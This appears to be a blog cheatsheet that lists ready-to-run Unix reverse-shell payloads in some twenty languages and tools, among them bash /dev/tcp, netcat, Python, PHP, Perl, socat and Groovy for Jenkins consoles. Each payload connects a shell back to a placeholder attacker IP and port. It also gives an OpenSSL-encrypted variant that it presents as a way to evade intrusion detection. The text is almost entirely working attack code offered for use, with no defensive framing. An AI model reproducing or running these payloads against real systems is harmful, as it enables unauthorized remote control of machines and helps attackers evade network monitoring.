UNIX Reverse Shells Cheatsheet

March 15, 2020 5-minute read

reverse • shell • cheatsheet • unix

Table of contents

awk
C
Go
Groovy
Java
Lua
Netcat
Node.js
OpenSSL
Perl
PHP
Python
- Using subprocess module
- Using pty module
Ruby
Shell
Socat
TclSh
Telnet

Listening IP
Listening Port

Reverse shells

awk

RHOST=<placeholder_ip>
RPORT=<placeholder_port>
awk -v RHOST=$RHOST -v RPORT=$RPORT 'BEGIN {
    s = "/inet/tcp/0/" RHOST "/" RPORT;
    while (1) {printf "> " |& s; if ((s |& getline c) <= 0) break;
    while (c && (c |& getline) > 0) print $0 |& s; close(c)}}'

C

#include <stdio.h>
#include <unistd.h>
#include <arpa/inet.h>

#define REV_IP   "<placeholder_ip>"
#define REV_PORT <placeholder_port>

int main(int argc, char *argv[]) {
    struct sockaddr_in sa;
    sa.sin_family = AF_INET;
    sa.sin_addr.s_addr = inet_addr(REV_IP);
    sa.sin_port = htons(REV_PORT);
    int s = socket(AF_INET, SOCK_STREAM, 0);
    connect(s, (struct sockaddr *)&sa, sizeof(sa));
    dup2(s, 0);
    dup2(s, 1);
    dup2(s, 2);
    execve("/bin/sh", 0, 0);
    return 0;
}

Oneliner in shell to create and compile C reverse shell :

IP="<placeholder_ip>"; PORT=<placeholder_port>; printf "#include <stdio.h>\n#include <unistd.h>\n#include <arpa/inet.h>\n\nint main(int argc, char *argv[]){\n\tstruct sockaddr_in sa;\n\tsa.sin_family=AF_INET;\n\tsa.sin_addr.s_addr=inet_addr(\"$IP\");\n\tsa.sin_port=htons($PORT);\n\tint s = socket(AF_INET,SOCK_STREAM,0);\n\tconnect(s,(struct sockaddr *)&sa,sizeof(sa));\n\tdup2(s,0);\n\tdup2(s,1);\n\tdup2(s,2);\n\texecve(\"/bin/sh\",0,0);\n\treturn 0;\n}\n" > rev.c && gcc -Wall rev.c -o rev

Go

package main;
import "os/exec";
import "net";
func main(){
    c,_ := net.Dial("tcp","<placeholder_ip>:<placeholder_port>");
    cmd := exec.Command("/bin/sh");
    cmd.Stdin  = c;
    cmd.Stdout = c;
    cmd.Stderr = c;
    cmd.Run()
}

Oneliner version in a shell :

echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","<placeholder_ip>:<placeholder_port>");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/e.go && go run /tmp/e.go && rm /tmp/e.go

Groovy

Groovy reverse shells are really useful to get a reverse shell on a Jenkins server, using the Script console in the administration panel.

String host="<placeholder_ip>";
int port=<placeholder_port>;
String cmd="/bin.sh";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

Java

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/<placeholder_ip>/<placeholder_port>;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

Lua

In a Lua script :

require('socket');
require('os');
t = socket.tcp();
t:connect('<placeholder_ip>','<placeholder_port>');
os.execute('/bin/sh -i <&3 >&3 2>&3');

Oneliner from a shell :

lua -e "require('socket');require('os');t=socket.tcp();t:connect('<placeholder_ip>','<placeholder_port>');os.execute('/bin/sh -i <&3 >&3 2>&3');"

Netcat

Netcat.traditional

nc -e /bin/sh <placeholder_ip> <placeholder_port>

New netcat

mkfifo /tmp/f;nc <placeholder_ip> <placeholder_port> 0</tmp/f|/bin/sh -i 2>&1|tee /tmp/f

mknode /tmp/f p;nc <placeholder_ip> <placeholder_port> 0</tmp/f|/bin/sh -i 2>&1|tee /tmp/f

Node.js

require('child_process').exec('bash -i >& /dev/tcp/<placeholder_ip>/<placeholder_port> 0>&1');

(function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(<placeholder_port>, "<placeholder_ip>", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // Prevents the Node.js application form crashing
})();

OpenSSL

Encrypted reverse shell

An Encrypted reverse shell can help avoid automatic detection by network security monitoring tools (such as Intrusion Detection Systems (IDS)). To create one, you need to generate an SSL certificate and start an SSL listener on your attacking machine, then run the reverse shell payload on the target machine.

Generate SSL certificate:

openssl req -x509 -quiet -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes

Start an SSL listener on your attacking machine using openssl:

openssl s_server -quiet -key key.pem -cert cert.pem -port <placeholder_port>

Run the payload on target machine using openssl:

Short payload :

mkfifo /tmp/s;/bin/sh -i</tmp/s 2>&1|openssl s_client -quiet -connect <placeholder_ip>:<placeholder_port>>/tmp/s 2>/dev/null;rm /tmp/s

Detailled payload :

mkfifo /tmp/pipesocket
/bin/sh -i < /tmp/pipesocket 2>&1 \
    | openssl s_client -quiet -connect <placeholder_ip>:<placeholder_port> > /tmp/pipesocket 2>/dev/null
rm/tmp/pipesocket

Perl

use Socket
$ip = "<placeholder_ip>";
$port = <placeholder_port>;
socket(S, PF_INET, SOCK_STREAM, getprotobyname("tcp"));
if(connect(S, sockaddr_in($port, inet_aton($ip)))){
    open(STDIN,">&S");
    open(STDOUT,">&S");
    open(STDERR,">&S");
    exec("/bin/sh -i");
};

Oneliner from a shell :

perl -e 'use Socket;$i="<placeholder_ip>";$p=<placeholder_port>;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

PHP

With `exec`

php -r '$s=fsockopen("<placeholder_ip>",<placeholder_port>);exec("/bin/sh -i <&3 >&3 2>&3");'

With `shell_exec`

php -r '$s=fsockopen("<IP>",<PORT>);shell_exec("/bin/sh -i <&3 >&3 2>&3");'

With backticks

php -r '$s=fsockopen("<IP>",<PORT>);`/bin/sh -i <&3 >&3 2>&3`;'

With `system`

php -r '$s=fsockopen("<IP>",<PORT>);system("/bin/sh -i <&3 >&3 2>&3");'

With `popen`

php -r '$s=fsockopen("<IP>",<PORT>);popen("/bin/sh -i <&3 >&3 2>&3", "r");'

Python

Using subprocess module

import socket, subprocess, os
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("<placeholder_ip>",<placeholder_port>))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p = subprocess.call(["/bin/sh","-i"])

Oneliner from a shell :

python2 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<placeholder_ip>",<placeholder_port>));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Using pty module

import pty, socket, os

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("<placeholder_ip>", <placeholder_port>));
os.dup2(s.fileno(), 0);
os.dup2(s.fileno(), 1);
os.dup2(s.fileno(), 2);
pty.spawn("/bin/sh")

Oneliner from a shell :

python -c 'import pty;import socket,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<placeholder_ip>",<placeholder_port>));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'

Ruby

f = TCPSocket.open("<placeholder_ip>",<placeholder_port>).to_i;
exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)

Oneliner from a shell :

ruby -rsocket -e 'f=TCPSocket.open("<placeholder_ip>",<placeholder_port>).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Shell

Shell with /dev/tcp

bash -i >& /dev/tcp/<placeholder_ip>/<placeholder_port> 0>&1

Shell with pipes and netcat

rm -f /tmp/p;mkfifo /tmp/p;cat /tmp/p|/bin/sh -i 2>&1|nc <placeholder_ip> <placeholder_port> >/tmp/p

rm -f /tmp/p;mknod /tmp/p p;cat /tmp/p|/bin/sh -i 2>&1|nc <placeholder_ip> <placeholder_port> >/tmp/p

Socat

socat tcp:<placeholder_ip>:<placeholder_port> exec:'bash -i',pty,stderr,setsid,sigint,sane &

TclSh

#!/usr/bin/tclsh
set s [socket <placeholder_ip> <placeholder_port>];
while 1 {
    puts -nonewline $s "$ ";
    flush $s;
    gets $s c;
    set e "exec $c";
    if {![catch {set r [eval $e]} err]} {
        puts $s $r;
    }
    flush $s;
}
close $s;

One liner :

echo 'set s [socket <placeholder_ip> <placeholder_port>];while 1 {puts -nonewline $s "\$ ";flush $s;gets $s c;set e "exec $c";if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;' | /usr/bin/tclsh

Telnet

The “double telnet” version takes two ports, one for receiving commands (uplink) and one for sending back the results (downlink) :

telnet <placeholder_ip> <placeholder_port> | /bin/sh -i | telnet <placeholder_ip> 4445

You can also create pipe redirections like we did in the netcat reverse shell :

With mkfifo :

rm f;mkfifo f;cat f|/bin/sh -i 2>&1|telnet <placeholder_ip> <placeholder_port> > f

With mknod :

rm -f f;mknod f p&&telnet <placeholder_ip> <placeholder_port> 0<f|/bin/sh -i 1>f

Reverse shells

awk

C

Go

Groovy

Java

Lua

Netcat

Netcat.traditional

New netcat

Node.js

OpenSSL

Encrypted reverse shell

Perl

PHP

With exec

With shell_exec

With backticks

With system

With popen

Python

Using subprocess module

Using pty module

Ruby

Shell

Shell with /dev/tcp

Shell with pipes and netcat

Socat

TclSh

Telnet

With `exec`

With `shell_exec`

With `system`

With `popen`